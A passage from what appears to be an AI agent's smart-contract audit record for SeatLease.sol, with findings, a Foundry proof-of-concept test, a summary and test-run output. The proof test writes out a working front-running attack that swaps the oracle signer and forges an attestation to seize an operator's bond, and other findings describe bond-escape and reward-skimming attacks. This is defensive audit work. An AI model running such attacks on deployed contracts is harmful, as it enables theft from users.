OracleAttestationExpired(attestation.expiresAt);","title":"cutByOracle accepts an attestation issued before the current operator took the seat and forfeits the innocent new operator's bond"},{"citation":"resolved","description":"Mid-operation config mutation. The operator reads the terms (oracleSigner = network oracle, bondAmount, ownerBps) and sends take(tokenId). While the seat is vacant, setTerms can replace every term, and take() reads the new values: it pulls whatever bondAmount now says and accepts whatever oracleSigner now says. The owner front-runs take with setTerms(oracleSigner = owner EOA, bondAmount = the operator's allowance or balance, ownerBps = 10000). The operator's take lands under those terms. The owner then signs an 'attestation' with their own key and calls cutByOracle, and the whole bond goes to the owner. With an exact approval of the reviewed bond, the oracle swap alone still steals the reviewed bond. Fix: take(tokenId, expectedTermsHash) or take(tokenId, maxBond, expectedOracleSigner, maxOwnerBps), or a per-seat terms nonce bumped by setTerms that take must match. The single-argument take must not accept unpinned terms.","line":280,"path":"src/SeatLease.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {SeatLease} from \"src/SeatLease.sol\";\nimport {MockSeatNFT} from \"src/mocks/MockSeatNFT.sol\";\nimport {MockERC20} from \"src/mocks/MockERC20.sol\";\n\n/// The operator reviews the terms (network oracle as signer) and sends take(). The owner front-runs with\n/// setTerms naming their own key as oracleSigner and a larger bond; take() accepts the new terms, and the\n/// owner then cuts by their own \"oracle\" attestation and receives the operator's bond.\ncontract TakeFrontrunTest is Test {\n    bytes32 constant QUESTION = keccak256(\"seat 7 question\");\n    MockSeatNFT nft;\n    MockERC20 bond;\n    SeatLease lease;\n    address owner;\n    uint256 ownerKey;\n    address networkOracle = makeAddr(\"networkOracle\");\n    address operator = makeAddr(\"operator\");\n\n    function setUp() public {\n        (owner, ownerKey) = makeAddrAndKey(\"owner\");\n        vm.warp(1_800_000_000);\n        nft = new MockSeatNFT();\n        bond = new MockERC20(\"Bond\", \"BOND\");\n        lease = new SeatLease(address(nft), address(bond), \"IdentityMD Worker\", \"2\");\n        nft.mint(owner, 7);\n        vm.startPrank(owner);\n        nft.approve(address(lease), 7);\n        lease.deposit(7, 5000, SeatLease.Mode.Open, address(0), 10e18, networkOracle, QUESTION, \"\");\n        vm.stopPrank();\n        bond.mint(operator, 1000e18);\n    }\n\n    function _digest(SeatLease.OracleAttestation memory a) internal view returns (bytes32) {\n        bytes32 domain = keccak256(\n            abi.encode(\n                keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"),\n                keccak256(\"IdentityMD Oracle\"),\n                keccak256(\"1\"),\n                block.chainid,\n                address(lease)\n            )\n        );\n        bytes32 structHash = keccak256(\n            abi.encode(\n                keccak256(\n                    \"OracleAttestation(bytes32 requestId,uint256 chainId,bytes32 questionHash,uint8 answerType,bytes answer,uint256 figure,uint64 fromBlock,uint64 toBlock,bytes32 blockHash,bytes32 panelJobId,uint64 issuedAt,uint64 expiresAt)\"\n                ),\n                a.requestId,\n                a.chainId,\n                a.questionHash,\n                a.answerType,\n                keccak256(a.answer),\n                a.figure,\n                a.fromBlock,\n                a.toBlock,\n                a.blockHash,\n                a.panelJobId,\n                a.issuedAt,\n                a.expiresAt\n            )\n        );\n        return keccak256(abi.encodePacked(\"\\x19\\x01\", domain, structHash));\n    }\n\n    function test_setTermsFrontrunOfTakeStealsBond() public {\n        // Operator reviewed: bond 10e18, oracle = networkOracle, and approves generously (common UX).\n        vm.prank(operator);\n        bond.approve(address(lease), type(uint256).max);\n\n        // Owner front-runs the take() transaction.\n        vm.prank(owner);\n        lease.setTerms(7, 10_000, SeatLease.Mode.Open, address(0), 1000e18, owner, QUESTION, \"\");\n\n        // The operator's pending take(7) lands; any take entry point that pins the reviewed terms is accepted.\n        vm.prank(operator);\n        (bool took,) = address(lease).call(abi.encodeWithSignature(\"take(uint256)\", uint256(7)));\n\n        if (took) {\n            SeatLease.OracleAttestation memory a = SeatLease.OracleAttestation({\n                requestId: keccak256(\"self\"),\n                chainId: block.chainid,\n                questionHash: QUESTION,\n                answerType: 1,\n                answer: abi.encode(true),\n                figure: 0,\n                fromBlock: 0,\n                toBlock: 0,\n                blockHash: bytes32(0),\n                panelJobId: bytes32(0),\n                issuedAt: uint64(block.timestamp),\n                expiresAt: uint64(block.timestamp + 1)\n            });\n            (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerKey, _digest(a));\n            vm.prank(owner);\n            lease.cutByOracle(7, a, abi.encodePacked(r, s, v));\n        }\n\n        assertEq(bond.balanceOf(owner), 0, \"owner received the operator's bond\");\n        assertEq(bond.balanceOf(operator) + bond.balanceOf(address(lease)), 1000e18);\n        assertLe(1000e18 - bond.balanceOf(operator), 10e18, \"operator bonded more than the reviewed 10e18\");\n    }\n}","reproduction":"Open seat 7, bondAmount 10e18, oracleSigner=networkOracle, ownerBps 5000. The operator approves max and has 1000e18 bond. The owner front-runs with setTerms(7, 10000, Open, 0, 1000e18, owner, Q, ''). The operator's take(7) pulls 1000e18. The owner signs OracleAttestation{questionHash:Q, answerType:1, answer:true, expiresAt:now+1} with the owner key and calls cutByOracle(7, att, sig). Expected: take reverts because the terms differ from those reviewed. Actual: the owner receives 1000e18 bond. Proof test fails with 'owner received the operator's bond: 1e21 != 0'.","severity":"high","snippet":"    function take(uint256 tokenId) external nonReentrant {","title":"take() pins no terms: an owner can front-run it with setTerms (own key as oracleSigner, larger bond) and then take the operator's bond via cutByOracle"},{"citation":"resolved","description":"Forfeiture on an oracle cut is the only thing an Open bond secures, but quit() refunds the bond immediately and unconditionally. An operator who misbehaved sees the oracle's true answer (oracle outputs and the cutByOracle tx are public) and calls quit() first. The bond comes back. cutByOracle then reverts SeatVacant and the requestId stays unused, which also sets up the stale-attestation cut of the next operator. The bond guarantee is broken for any operator who watches the mempool or the oracle. Fix: add an exit delay. quit() starts an unbonding period during which the bond is still forfeitable by an attestation covering the tenure, then pays out afterwards (store departing operator, bond and quitAt).","line":300,"path":"src/SeatLease.sol","reproduction":"Open seat 7, oracleSigner=oracle, bond 100e18 held from operator X. The oracle signs a valid true attestation. The owner broadcasts cutByOracle(7, att, sig). X front-runs with quit(7). Expected: the bond is forfeited to the owner. Actual: X gets 100e18 back, and cutByOracle reverts SeatVacant(7).","severity":"medium","snippet":"    function quit(uint256 tokenId) external nonReentrant {","title":"An operator escapes bond forfeiture by quitting (or front-running cutByOracle with quit) once a true attestation exists"},{"citation":"resolved","description":"Cross-function break, the mirror of the vacant-skim finding. Balances booked while the operator ran the seat stay shared by ownerBps only while that operator is recorded. cut() is callable by the owner at any time and clears the operator. The following sweep() sees a vacant seat and pays 100% to the owner. claim() is owner-only, so the owner can always cut first and then book distributor rewards, and the operator's share of anything not yet swept is lost. Fix: the same as the vacant-skim finding. Split into per-party owed balances at _book time, so clearing the operator cannot change who is owed already-booked amounts.","line":313,"path":"src/SeatLease.sol","reproduction":"Permissioned seat 7, ownerBps 5000, operator O active. A payer calls credit{value:10 ether}(7, address(0), 10 ether). The owner calls cut(7) and then sweep(7, address(0)) before O sweeps. Expected: O receives 5 ETH. Actual: the owner receives 10 ETH and O receives 0.","severity":"medium","snippet":"        uint256 held = _clearOperator(s);","title":"cut() clears the operator without settling booked balances, so a later sweep pays the owner the operator's share"},{"citation":"resolved","description":"receive() refuses plain ETH, but SELFDESTRUCT (still a balance transfer under Cancun) bypasses it. claim() measures ETH as a delta over address(this).balance, so pre-existing force-sent ETH is never booked, and no function can book or sweep it. This contradicts the stated guarantee that plain ETH is never unattributed. The impact is small: only the sender loses. Fix: document the case as accepted, or book the surplus address(this).balance - totalCredited[address(0)] in the next credit/claim.","line":424,"path":"src/SeatLease.sol","reproduction":"A contract holding 1 ether calls selfdestruct(payable(lease)). lease.balance increases by 1 ether and totalCredited[address(0)] is unchanged. No function can book or sweep that 1 ether.","severity":"low","snippet":"        uint256 ethGained = address(this).balance - ethBefore;","title":"ETH force-sent outside claim() (SELFDESTRUCT) stays unattributed and unrecoverable"}],"hash":"fd113f361aed2da50e8764789e7ece33c59cfa867887b1cc3ec9c7b828a08266","nodeId":"db310ff0-4065-499a-b416-320077e48c17","outcome":"completed","summary":"I found 7 defects in `src/SeatLease.sol` and wrote them to `.imd-findings.json`: 4 high, 2 medium and 1 low. Each high finding has a Foundry proof, and all four proofs failed on the current code for the reason stated. I then deleted `test/scratch/`, so no project file is changed (`git status` is clean). I checked every quoted snippet against its file line.\n\n**High**\n1. **`claim()` gives other seats' rewards to whoever claims first** (`:422`). Every deposited seat has the same holder address: the registry. So a distributor that pays its caller pays the registry once for all seats. `claim()` books that whole amount to the tokenId the caller names. In the proof, two seats each earned 50; Alice claims and seat 1 is booked 100, seat 2 nothing. Fixing this is a design choice: hold each seat in its own small holder contract, or accept only distributors that pay per tokenId.\n2. **Anyone can skim rewards from a vacant Open seat** (`:441`). `sweep()` splits by whoever is operator when it runs, not when the rewards arrived. An attacker can take the seat, sweep and quit in one transaction, keeping 5 of 10 ETH that belonged to the owner and getting the bond back. Fix: split the amount between owner and operator when it is booked.\n3. **An old oracle attestation can cut the next operator** (`:338`). The only time check is `expiresAt`. An attestation about operator X still works after X quits and Y takes the seat, and Y's bond goes to the owner. Fix: record when the seat was taken and require the attestation to be issued after that.\n4. **`take()` does not fix the terms the operator agreed to** (`:280`). Just before the operator's `take()` lands, the owner can call `setTerms` to raise the bond and name their own key as `oracleSigner`. The owner then signs their own attestation and takes the whole bond (1000e18 in the proof). Fix: `take()` should require the expected terms (a terms hash or nonce).\n\n**Medium**\n5. **An operator can avoid losing their bond** (`quit`, `:300`). When a true attestation exists, the operator can call `quit()` before `cutByOracle` lands and get the bond back. Fix: a delay before the bond is returned.\n6. **Cutting the operator hands their reward share to the owner** (`cut`, `:313`). `cut()` removes the operator without paying out booked rewards, so the next `sweep()` pays the owner 100%. The fix is the same as for finding 2.\n\n**Low**\n7. **ETH force-sent to the contract can never be recovered** (`:424`). ETH sent by `selfdestruct` is never booked and no function can pay it out.\n\n**Coverage.** Beyond the 15 listed entry points (plus 3 invariant rows), I traced the rest:\n- `deposit`, `withdraw`, `credit`, `receive`, `redeemBond` and the three `LaunchToken` functions work as intended.\n- `isValidSignature` holds for cross-seat replay, digest substitution, signature malleability and malformed bytes.\n- The NFT only leaves through `withdraw`, and payouts never exceed what was booked.\n\nEvery row is answered and none is marked unreached.\n\n**Not verified.** Two ideas were left out because I couldn't prove them from the code:\n- Redirecting rewards through Permit2, if a reward token pre-approves Permit2.\n- Whether the network un-pairs a device when its operator is cut, which happens outside this contract.\n\nThe spec requires a README, but none exists in the tree. I didn't add this to the file because it has no source line to cite.","treeHash":null,"usage":{"cachedInputTokens":914756,"inputTokens":24,"model":"claude-fable-5-1","outputTokens":32955,"runtime":"claude","turns":13,"wallClockMs":432820}}],"verification":[{"checks":[{"durationMs":6732,"exitCode":0,"name":"build","output":"Compiling 68 files with Solc 0.8.26\nSolc 0.8.26 finished in 6.58s\nCompiler run successful!\n","passed":true},{"durationMs":14652,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 3 tests for test/LaunchToken.t.sol:LaunchTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 70237)\n[PASS] test_noMintFunction() (gas: 35726)\n[PASS] test_transferMovesExactAmount() (gas: 84880)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 737.47µs (590.62µs CPU time)\n\nRan 5 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deploy_mixedMocks() (gas: 5062413)\n[PASS] test_deploy_refusesMocksOnMainnet() (gas: 34870)\n[PASS] test_deploy_requiresAddressesWithoutMocks() (gas: 62789)\n[PASS] test_deploy_withExistingAddresses() (gas: 4634302)\n[PASS] test_deploy_withMocks() (gas: 5952206)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.36ms (1.54ms CPU time)\n\nRan 40 tests for test/SeatLease.signatures.t.sol:SeatLeaseSignaturesTest\n[PASS] testFuzz_cutByOracle_onlyOracleKeyPasses(uint256) (runs: 256, μ: 80181, ~: 80166)\nLogs:\n  Bound result 1234\n\n[PASS] testFuzz_isValidSignature_arbitraryBytesNeverPass(bytes,bytes32) (runs: 256, μ: 13322, ~: 13319)\n[PASS] testFuzz_isValidSignature_onlyOperatorKeyPasses(uint256) (runs: 256, μ: 50318, ~: 50301)\nLogs:\n  Bound result 1234\n\n[PASS] test_cutByOracle_acceptsAttestationIssuedAtTakeTime() (gas: 169581)\n[PASS] test_cutByOracle_attestationForAnotherRegistryIsRejected() (gas: 123291)\n[PASS] test_cutByOracle_forfeitsBondToOwner() (gas: 219675)\n[PASS] test_cutByOracle_ownerCannotRecycleAttestationAgainstNextOperator() (gas: 601301)\n[PASS] test_cutByOracle_permissionedSeatForfeitsNothing() (gas: 301473)\n[PASS] test_cutByOracle_rejectsAttestationIssuedBeforeCurrentTenure() (gas: 412021)\n[PASS] test_cutByOracle_rejectsExpired() (gas: 199868)\n[PASS] test_cutByOracle_rejectsFalseAnswer() (gas: 62184)\n[PASS] test_cutByOracle_rejectsMalformedSignature() (gas: 64912)\n[PASS] test_cutByOracle_rejectsNonBoolType() (gas: 56721)\n[PASS] test_cutByOracle_rejectsObservationWindowStartingBeforeCurrentTenure() (gas: 441309)\n[PASS] test_cutByOracle_rejectsOddAnswerEncodings() (gas: 176063)\n[PASS] test_cutByOracle_rejectsSeatWithoutOracle() (gas: 324878)\n[PASS] test_cutByOracle_rejectsTamperedAttestation() (gas: 73734)\n[PASS] test_cutByOracle_rejectsVacantAndUndeposited() (gas: 147469)\n[PASS] test_cutByOracle_rejectsWrongChainId() (gas: 60224)\n[PASS] test_cutByOracle_rejectsWrongQuestion() (gas: 61953)\n[PASS] test_cutByOracle_rejectsWrongSigner() (gas: 137073)\n[PASS] test_cutByOracle_replayIsRejected() (gas: 446503)\n[PASS] test_decodeAuthorization_roundTrips() (gas: 27919)\n[PASS] test_isValidSignature_acceptsOperatorSignedAuthorization() (gas: 83707)\n[PASS] test_isValidSignature_domainMatchesNetworkParameters() (gas: 11328)\n[PASS] test_isValidSignature_holderAnswersForItsSeat() (gas: 1085003)\n[PASS] test_isValidSignature_rejectsAfterCut() (gas: 96101)\n[PASS] test_isValidSignature_rejectsAnotherSeatsHolderAsWallet() (gas: 901278)\n[PASS] test_isValidSignature_rejectsBadOperatorSignatures() (gas: 109282)\n[PASS] test_isValidSignature_rejectsCrossSeatReplayOfBlob() (gas: 54338)\n[PASS] test_isValidSignature_rejectsDigestMismatch() (gas: 75567)\n[PASS] test_isValidSignature_rejectsExpired() (gas: 70398)\n[PASS] test_isValidSignature_rejectsMalformedBytes() (gas: 164378)\n[PASS] test_isValidSignature_rejectsNonOperatorSigner() (gas: 75943)\n[PASS] test_isValidSignature_rejectsOtherChain() (gas: 41269)\n[PASS] test_isValidSignature_rejectsRegistryAsWallet() (gas: 61228)\n[PASS] test_isValidSignature_rejectsTrailingAndNonCanonicalBytes() (gas: 131904)\n[PASS] test_isValidSignature_rejectsVacantSeat() (gas: 134498)\n[PASS] test_isValidSignature_rejectsWrongTokenId() (gas: 987987)\n[PASS] test_isValidSignature_rejectsWrongWallet() (gas: 41994)\nSuite result: ok. 40 passed; 0 failed; 0 skipped; finished in 186.77ms (195.10ms CPU time)\n\nRan 66 tests for test/SeatLease.lifecycle.t.sol:SeatLeaseLifecycleTest\n[PASS] testFuzz_bondRoundTrip(uint256) (runs: 256, μ: 1156607, ~: 1156873)\nLogs:\n  Bound result 1234\n\n[PASS] testFuzz_onlyOperatorCanQuit(address) (runs: 256, μ: 1052007, ~: 1052007)\n[PASS] testFuzz_onlyOwnerCanAdminister(address) (runs: 256, μ: 990333, ~: 990333)\n[PASS] testFuzz_termsValidation(uint16,uint16) (runs: 256, μ: 776480, ~: 808334)\nLogs:\n  Bound result 0\n\n[PASS] test_constructor_recordsParameters() (gas: 75950)\n[PASS] test_constructor_rejectsZeroAddresses() (gas: 6598)\n[PASS] test_cut_escrowsBondWhenTransferReverts() (gas: 2066188)\n[PASS] test_cut_returnsBondToOperator() (gas: 1172112)\n[PASS] test_cut_revertsForNonOwner() (gas: 1051690)\n[PASS] test_cut_revertsWhenNotDeposited() (gas: 39779)\n[PASS] test_cut_revertsWhenVacant() (gas: 900083)\n[PASS] test_deposit_acceptsMaxListing() (gas: 937257)\n[PASS] test_deposit_holderIsDeterministicAndReused() (gas: 2063076)\n[PASS] test_deposit_longAfterWithdrawIsActiveAtOnce() (gas: 1430491)\n[PASS] test_deposit_recordsOwnerTermsAndHoldsNft() (gas: 962090)\n[PASS] test_deposit_rejectsHookForDifferentTokenId() (gas: 1373761)\n[PASS] test_deposit_rejectsHookFromStrangerDuringDeposit() (gas: 1383330)\n[PASS] test_deposit_revertsOnBadBps() (gas: 671513)\n[PASS] test_deposit_revertsOnLongListing() (gas: 673059)\n[PASS] test_deposit_revertsWhenAlreadyDeposited() (gas: 900707)\n[PASS] test_deposit_revertsWhenCallerDoesNotOwnNft() (gas: 50482)\n[PASS] test_deposit_revertsWhenNftDidNotArrive() (gas: 1372966)\n[PASS] test_deposit_revertsWithoutApproval() (gas: 797790)\n[PASS] test_deposit_worksWithMinimalNft() (gas: 1368418)\n[PASS] test_holder_onlyRegistryMayDrive() (gas: 988918)\n[PASS] test_holder_releaseEthRevertsWhenRegistryCannotReceive() (gas: 213574)\n[PASS] test_onERC721Received_holderRejectsDirectCall() (gas: 890998)\n[PASS] test_onERC721Received_holderRejectsDirectTransferOfSeatNft() (gas: 1175680)\n[PASS] test_onERC721Received_holderRejectsOtherCollections() (gas: 1013200)\n[PASS] test_onERC721Received_registryRefusesEveryNft() (gas: 85183)\n[PASS] test_quit_acceptsTransferReturningNothing() (gas: 1880756)\n[PASS] test_quit_escrowsBondWhenTransferReturnsFalse() (gas: 1879854)\n[PASS] test_quit_escrowsBondWhenTransferReturnsShortData() (gas: 1893905)\n[PASS] test_quit_permissionedReturnsNothing() (gas: 979744)\n[PASS] test_quit_returnsBondAndClearsOperator() (gas: 1140729)\n[PASS] test_quit_revertsForNonOperator() (gas: 1084367)\n[PASS] test_quit_revertsWhenVacantOrUnknown() (gas: 930621)\n[PASS] test_receive_revertsOnPlainEth() (gas: 41750)\n[PASS] test_redeemBond_revertsWhenNothingOwed() (gas: 39721)\n[PASS] test_redeposit_afterWithdrawStartsClean() (gas: 1332265)\n[PASS] test_seatCanBeRetakenAfterQuit() (gas: 1260824)\n[PASS] test_setTerms_revertsForNonOwner() (gas: 897046)\n[PASS] test_setTerms_revertsOnBadBpsAndListing() (gas: 928767)\n[PASS] test_setTerms_revertsWhenNotDeposited() (gas: 36884)\n[PASS] test_setTerms_revertsWhenOccupied() (gas: 1050685)\n[PASS] test_setTerms_updatesVacantSeat() (gas: 982125)\n[PASS] test_take_frontRunWithSwappedOracleSignerDoesNotSeatTheVictim() (gas: 1116927)\n[PASS] test_take_isReentrancyGuarded() (gas: 1736184)\n[PASS] test_take_open_anyoneMayTake() (gas: 1049868)\n[PASS] test_take_open_feeOnTransferBondRecordsActualAmount() (gas: 1782856)\n[PASS] test_take_open_pullsBondAndSetsOperator() (gas: 1092651)\n[PASS] test_take_open_revertsWithoutAllowance() (gas: 915335)\n[PASS] test_take_open_zeroBondPullsNothing() (gas: 966240)\n[PASS] test_take_permissionedIsDelayedToo() (gas: 1040519)\n[PASS] test_take_permissioned_ignoresBondAmount() (gas: 960328)\n[PASS] test_take_permissioned_onlyAllowedOperator() (gas: 1028277)\n[PASS] test_take_refusedAfterWithdrawAndRedepositUntilDelayPasses() (gas: 1499191)\n[PASS] test_take_refusedUntilChangedTermsAreActive() (gas: 1268008)\n[PASS] test_take_revertsWhenNotDeposited() (gas: 39835)\n[PASS] test_take_revertsWhenOccupied() (gas: 1103025)\n[PASS] test_withdraw_afterQuitAndCut() (gas: 1173254)\n[PASS] test_withdraw_returnsNftAndClearsSeat() (gas: 1003900)\n[PASS] test_withdraw_revertsForNonOwner() (gas: 900104)\n[PASS] test_withdraw_revertsWhenNotDeposited() (gas: 39789)\n[PASS] test_withdraw_revertsWhenOccupied() (gas: 1067338)\n[PASS] test_withdraw_worksForContractOwnerWithoutReceiverHook() (gas: 1268517)\nSuite result: ok. 66 passed; 0 failed; 0 skipped; finished in 186.93ms (217.68ms CPU time)\n\nRan 67 tests for test/SeatLease.adversarial.t.sol:SeatLeaseAdversarialTest\n[PASS] testFuzz_claim_booksExactlyWhatArrived(uint96,uint96) (runs: 512, μ: 1270650, ~: 1275848)\nLogs:\n  Bound result 168\n  Bound result 4189\n\n[PASS] testFuzz_claim_repeatedListingsBookTheGainOnce(uint8,uint96,uint96) (runs: 512, μ: 1299903, ~: 1299649)\nLogs:\n  Bound result 2\n  Bound result 1\n  Bound result 137424065000759\n\n[PASS] testFuzz_credit_requiresDepositedSeat(uint256,uint96) (runs: 512, μ: 914681, ~: 914630)\nLogs:\n  Bound result 119024480080807038033\n\n[PASS] testFuzz_cutByOracle_answerMustBeExactlyTrue(bytes,uint8) (runs: 512, μ: 1100343, ~: 1100111)\n[PASS] testFuzz_cutByOracle_anyCallerMaySubmit(address) (runs: 512, μ: 1207446, ~: 1207446)\n[PASS] testFuzz_cutByOracle_chainAndQuestionMustMatch(uint256,bytes32) (runs: 512, μ: 1117604, ~: 1117625)\n[PASS] testFuzz_cutByOracle_expiryBoundary(uint64,uint64) (runs: 512, μ: 1114865, ~: 1083534)\nLogs:\n  Bound result 6613311130705\n\n[PASS] testFuzz_isValidSignature_expiryBoundary(uint64,uint64) (runs: 512, μ: 1061897, ~: 1059004)\nLogs:\n  Bound result 6613311130705\n\n[PASS] testFuzz_isValidSignature_forgedOperatorSignatureNeverPasses(bytes32,bytes32,uint8) (runs: 512, μ: 1060154, ~: 1062385)\n[PASS] testFuzz_isValidSignature_onlyTheNamedSeatPairs(uint256) (runs: 512, μ: 1057214, ~: 1057207)\n[PASS] testFuzz_sweep_splitNeverLosesOrCreatesValue(uint16,uint256) (runs: 512, μ: 1399506, ~: 1406054)\nLogs:\n  Bound result 0\n  Bound result 23942131433209766525568693270439819620\n\n[PASS] testFuzz_sweep_twoSeatsConserveTheirOwnBalances(uint16,uint16,uint96,uint96) (runs: 512, μ: 2706596, ~: 2717558)\nLogs:\n  Bound result 9999\n  Bound result 2718\n  Bound result 79228162514264337593543950335\n  Bound result 21811\n\n[PASS] testFuzz_sweep_vacantPaysOwnerRegardlessOfBps(uint16,uint96,bool) (runs: 512, μ: 1118833, ~: 1189729)\nLogs:\n  Bound result 2\n  Bound result 784931782\n\n[PASS] testFuzz_take_openBondRoundTripForAnyTaker(address,uint256) (runs: 512, μ: 1219525, ~: 1222046)\nLogs:\n  Bound result 2489585530373881252354108035387\n\n[PASS] testFuzz_take_permissionedOnlyAllowedCaller(address,address) (runs: 512, μ: 984682, ~: 984545)\n[PASS] testFuzz_withdraw_onlyWhileVacantAndOnlyByOwner(address,bool) (runs: 512, μ: 989479, ~: 989479)\n[PASS] test_claim_allowsTargetWhoseFallbackAnswersShortOrReverts() (gas: 1040761497)\n[PASS] test_claim_bondTokenRewardIsBookedApartFromHeldBond() (gas: 1641099)\n[PASS] test_claim_duplicateListingsDoNotHideADecrease() (gas: 1885816)\n[PASS] test_claim_listedAddressWithoutCodeReverts() (gas: 915991)\n[PASS] test_claim_listingTheNftCollectionRevertsBeforeTheTargetIsCalled() (gas: 1158396)\n[PASS] test_claim_ownerOfAnotherSeatCannotClaimForThisOne() (gas: 1790180)\n[PASS] test_claim_receiveWindowClosesAfterAFailedClaim() (gas: 948903)\n[PASS] test_claim_reentryIntoTakeDepositRedeemAndOracleCutIsBlocked() (gas: 2205843)\n[PASS] test_claim_refusesEveryTargetWithoutCode() (gas: 1090924)\n[PASS] test_claim_refusesTargetWhoseFallbackAnswersWithAWord() (gas: 1007820)\n[PASS] test_claim_rewardIsBookedToTheClaimingSeatOnly() (gas: 2146576)\n[PASS] test_claim_secondClaimBooksOnlyTheNewGain() (gas: 1385067)\n[PASS] test_claim_targetCannotInvokeHolderReceiverHook() (gas: 1388591)\n[PASS] test_claim_targetCannotSetTermsDuringClaim() (gas: 1442668)\n[PASS] test_claim_targetGuardIsEvaluatedFreshOnEveryCall() (gas: 1291232)\n[PASS] test_credit_cannotMoveTheDepositedSeatThroughTheErc20Path() (gas: 958895)\n[PASS] test_credit_maxEthValueIsBooked() (gas: 986539)\n[PASS] test_credit_seatNftIsRefusedEvenWhenTheCallerOwnsAndApprovedAnotherSeat() (gas: 1126151)\n[PASS] test_credit_seatNftRefusalPrecedesTheValueChecks() (gas: 970673)\n[PASS] test_credit_toOneSeatDoesNotTouchAnother() (gas: 2131367)\n[PASS] test_cutByOracle_checksExpiryBeforeSignature() (gas: 1073406)\n[PASS] test_cutByOracle_escrowsForfeitedBondWhenOwnerCannotReceive() (gas: 2104450)\n[PASS] test_cutByOracle_rejectsMalleableSignature() (gas: 1115847)\n[PASS] test_cutByOracle_rejectsSignatureUnderWorkerDomain() (gas: 1115858)\n[PASS] test_cutByOracle_requestIdIsConsumedGloballyAcrossSeats() (gas: 2145048)\n[PASS] test_cutByOracle_rotatedSignerInvalidatesOldAttestations() (gas: 1154281)\n[PASS] test_cut_twiceRevertsAndReturnsBondOnce() (gas: 1110702)\n[PASS] test_deposit_approvedOperatorOfNftCannotDepositForTheHolder() (gas: 112439)\n[PASS] test_deposit_ownerOfOneSeatCannotDepositAnothersSeat() (gas: 184185)\n[PASS] test_isValidSignature_followsOperatorChanges() (gas: 1520835)\n[PASS] test_isValidSignature_isPureOfCallerAndSeatOwner() (gas: 1117558)\n[PASS] test_isValidSignature_ownerSignatureNeverPairsEvenWhenOwnerOperates() (gas: 1017773)\n[PASS] test_isValidSignature_rejectsAtExactExpiry() (gas: 1096816)\n[PASS] test_isValidSignature_rejectsCompactAndZeroSignatures() (gas: 1132999)\n[PASS] test_isValidSignature_rejectsDirtyHighBitsInStaticWords() (gas: 1357238)\n[PASS] test_isValidSignature_rejectsFieldTamperedAfterSigning() (gas: 1226121)\n[PASS] test_isValidSignature_rejectsWalletOfAnotherRegistryOverTheSameNft() (gas: 1073484)\n[PASS] test_nftTransferAfterDepositDoesNotChangeSeatOwner() (gas: 947448)\n[PASS] test_quit_twiceRevertsAndReturnsBondOnce() (gas: 1119315)\n[PASS] test_receive_rejectsEthOutsideClaimEvenFromOwnerAndOperator() (gas: 1083968)\n[PASS] test_redeemBond_twiceRevertsSecondTime() (gas: 1979158)\n[PASS] test_sweep_afterOracleCutPreservesOperatorsBookedShare() (gas: 1669682)\n[PASS] test_sweep_oneBpsOnSmallAmountPaysOwnerNothing() (gas: 1304750)\n[PASS] test_sweep_oneSeatLeavesTheOtherSeatsBalanceIntact() (gas: 2279241)\n[PASS] test_sweep_oneWeiAtHalfGoesToOperator() (gas: 1304673)\n[PASS] test_sweep_operatorWhoQuitCanCollectItsEarlierShare() (gas: 1411307)\n[PASS] test_sweep_preservesBookingAcrossTermChanges() (gas: 1459703)\n[PASS] test_sweep_twiceRevertsSecondTime() (gas: 1151727)\n[PASS] test_take_bondAmountRaisedWhileVacantAppliesToNextOperator() (gas: 1336770)\n[PASS] test_take_openRevertsWhenCallerCannotCoverBond() (gas: 999110)\n[PASS] test_take_permissionedWithZeroAllowedOperatorIsUntakeable() (gas: 963545)\nSuite result: ok. 67 passed; 0 failed; 0 skipped; finished in 212.43ms (2.53s CPU time)\n\nRan 65 tests for test/SeatLease.rewards.t.sol:SeatLeaseRewardsTest\n[PASS] testFuzz_anyoneCanCreditAndSweep(address,uint256) (runs: 256, μ: 1460115, ~: 1461770)\nLogs:\n  Bound result 1631\n\n[PASS] testFuzz_sweepEthSplit(uint16,uint96) (runs: 256, μ: 1224665, ~: 1229395)\nLogs:\n  Bound result 0\n\n[PASS] testFuzz_sweepSplit(uint16,uint256) (runs: 256, μ: 1355039, ~: 1361654)\nLogs:\n  Bound result 5000\n  Bound result 65\n\n[PASS] test_book_emitsSharesAtBookingTime() (gas: 1248082)\n[PASS] test_claim_booksEthAndTokenWhenBothListed() (gas: 1239416)\n[PASS] test_claim_booksEthEvenWhenNotListed() (gas: 1093585)\n[PASS] test_claim_booksOnlyTheCallersSeatPayout() (gas: 2189645)\n[PASS] test_claim_booksTokenIncrease() (gas: 1414717)\n[PASS] test_claim_cannotDrainBookedEthByTargetingZeroAddress() (gas: 1014532)\n[PASS] test_claim_duplicateEthAndTokenEntriesBookOnce() (gas: 1244552)\n[PASS] test_claim_duplicateTokenEntriesBookOnce() (gas: 2316603)\n[PASS] test_claim_ethFromPlainPayerIsBooked() (gas: 1182822)\n[PASS] test_claim_forbidsNftBondSelfAndBookedTokens() (gas: 1261303)\n[PASS] test_claim_forbidsTargetWithoutCode() (gas: 907044)\n[PASS] test_claim_forbidsTokenTargetEvenWhenNothingBooked() (gas: 2973374)\n[PASS] test_claim_isMadeByTheHolderNotTheRegistry() (gas: 1316980)\n[PASS] test_claim_ownerCanRouteRecipientParameterisedPayoutsAway_documented() (gas: 1588873)\n[PASS] test_claim_payoutKeyedToRegistryIsNotBookedToAnySeat() (gas: 1844506)\n[PASS] test_claim_reentrancyIntoSweepClaimAndCutIsBlocked() (gas: 2222699)\n[PASS] test_claim_reentrantWithdrawIsBlocked() (gas: 1351243)\n[PASS] test_claim_rejectsSeatNftInTokenList() (gas: 920422)\n[PASS] test_claim_revertsForNonOwner() (gas: 1055610)\n[PASS] test_claim_revertsWhenListedBalanceDecreases() (gas: 1852312)\n[PASS] test_claim_revertsWhenNftLeaves() (gas: 1513378)\n[PASS] test_claim_revertsWhenNotDeposited() (gas: 43802)\n[PASS] test_claim_revertsWhenTargetReverts() (gas: 915636)\n[PASS] test_claim_zeroGainBooksNothing() (gas: 955399)\n[PASS] test_credit_erc20BooksToSeat() (gas: 